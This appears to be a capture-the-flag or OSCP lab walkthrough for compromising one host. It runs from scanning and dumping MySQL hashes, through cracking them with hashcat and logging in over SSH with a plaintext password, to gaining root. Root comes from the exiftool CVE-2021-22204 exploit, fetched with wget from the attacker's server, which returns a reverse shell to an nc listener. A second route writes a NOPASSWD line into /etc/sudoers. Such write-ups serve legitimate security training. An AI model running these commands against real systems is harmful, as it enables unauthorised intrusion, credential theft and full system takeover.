Machine 192.168.xxx.110

1. scan target with nmap

nmap 192.168.XX.110

nmap will show open ports as **21,22,80,3306,8080**

2. run gobuster or similar on web port 80. This will find a folder called /scripts.

3. with browser, Navigate to http://192.168.XX.110/scripts/80/.

3. download and open the file wiki_setup.sh in text editor. This will show mysql

database credentials

strings wiki_setup.sh

or

strings *.sh

4. login to mysqldatabase

mysql -h 192.168.XX.110 -u <replace-this-with-DBUSER-username> -

: mysql -h 192.168.XX.110 -u chanel -p

```
Enter password:
Welcome to the MariaDB monitor.  Co
Your MySQL connection id is 13
Server version: 5.7.38 MySQL Commun

Copyright (c) 2000, 2018, Oracle, M

Type 'help;' or '\h' for help. Type

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.126 sec)
```

p<replace-this-with-DBPASS-password>

5. mysql> show databases;

6. mysql> use mysql;

7. mysql> show tables;

8. mysql> show columns from user;

9. mysql> select User, authentication_string from user;

```
MySQL [mysql]> select user,authentication_string from user;
+---------------+-------------------------------------------+
| user          | authentication_string                     |
+---------------+-------------------------------------------+
| root          | *0880FD3A9C8D2BB55A2C5C0BE9E0578EB55022B2 |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys     | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| chanel        | *407F8D35DAF8B6F7BC30BB665564CC36E8EA6FB3 |
| chanel        | *407F8D35DAF8B6F7BC30BB665564CC36E8EA6FB3 |
| cristine      | *B12F09D11BB3852F8FA53FC7F017893DF01E3B82 |
| bob           | *32520D64EA7094863697EC1BD3BE5FDC1496A1FF |
| shaun         | *DC4EA813DD21ACDBC05CB657D64E410062FF561A |
+---------------+-------------------------------------------+
```

10. Save the usernames and password hashes for later use

11. mysql>exit

12. create a new text file and save all the hashes that are found in

authentication_string column in it.

nano hashes.txt

note: save only hashes by removing * before each hash.

13. hashcat -m300 -a0 hashes.txt /usr/share/wordlists/rockyou.txt

this will crack a username and password.

14. Use above cracked credentials to login in to SSH

15. SSH <replace-with-username>@192.168.XX.110

Ssh cristine@192.168.XX.110

Pass: 2ql4sql

16. cat local.txt

Privesc:

1. $ sudo -l

Search for these allowed commands in https://gtfobins.github.io/

2. search for 'exiftool privesc exploit github' in google.

above search will result in this link https://github.com/convisolabs/CVE-2021-22204-exiftool

3. open https://github.com/convisolabs/CVE-2021-22204-exiftool and download this link in to the host machine

https://github.com/convisolabs/CVE-2021-22204-exiftool/archive/refs/heads/master.zip

4. Host this exploit in your machine by opening new terminal

cd Downloads

python -m http.server

5. from target machine run below command.

$ wget http://<192.168.XX.XXX (your-VPN-ip-address>/master.zip

6. Extract the exploit with unzip

unzip master.zip

7. navigate to extracted folder

$ cd CVE-2021-22204-exiftool-master

8. In exploit.py file, replace 127.0.0.1 with <attackers-VPN-IP>

9. Start listening on port 9090 in attackers's machine

nc -lvp 9090

10. From target machine, run exploit.py

$ ./exploit.py

11. run exiftool with sudo permissions to get root access.

$ sudo exiftool image.jpg

12. Now navigate back to the terminal where nc is listening on port 9090 and notice that we gor a reverse shell with root access.

cat /root/proof.txt

for Interactive shell:

Use Socat method under

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

OR

Run sudo -l to check sudo privileges

```
cristine@oscp:~$ sudo -l
[sudo] password for cristine:
Matching Defaults entries for cristine on os
    env_reset, mail_badpass, secure_path=/us

User cristine may run the following commands
    (root) /usr/bin/calendar
    (root) /usr/bin/mcheck
    (root) /usr/local/bin/exiftool
    (root) /usr/bin/rdma
```

Exiftool can create files but it can't overwrite If you check, notice that /usr/bin/calendar does NOT exist. So use exiftool to create a file at /usr/bin/calendar that can priv esc

```
cristine@oscp:~$ ls -alh /usr/bin/calendar
ls: cannot access '/usr/bin/calendar': No such file or directory
cristine@oscp:~$
```

This was taken from gtfobins:

LFILE=/usr/bin/calendar INPUT=exploit nano exploit →

THIS IS OPENS A TEXT EDITOR, CHECK BELOW

sudo exiftool - filename=$LFILE $INPUT

The exploit file had this inside

```
cristine@oscp:/usr/bin$ cat /usr/bin/calendar
#!/bin/bash

echo "cristine ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```

chmod 777 /usr/bin/calendar

sudo /usr/bin/calendar

Check the effects with sudo –

```
cristine@oscp:/usr/bin$ sudo -l
Matching Defaults entries for cristi
    env_reset, mail_badpass, secure_

User cristine may run the following
    (root) /usr/bin/calendar
    (root) /usr/bin/mcheck
    (root) /usr/local/bin/exiftool
    (root) /usr/bin/rdma
    (ALL) NOPASSWD: ALL
```

Just do sudo su now and it will be accepted with no pass

Great , i couldn’t manage to get shell using exiftool but i can read files with it as follow :

sudo exiftool -filename=<output_file> file_to_read so to read the root.txt file =>

sudo exiftool -filename=/tmp/root_flag /root/root.txt , and now we can easily read the root.txt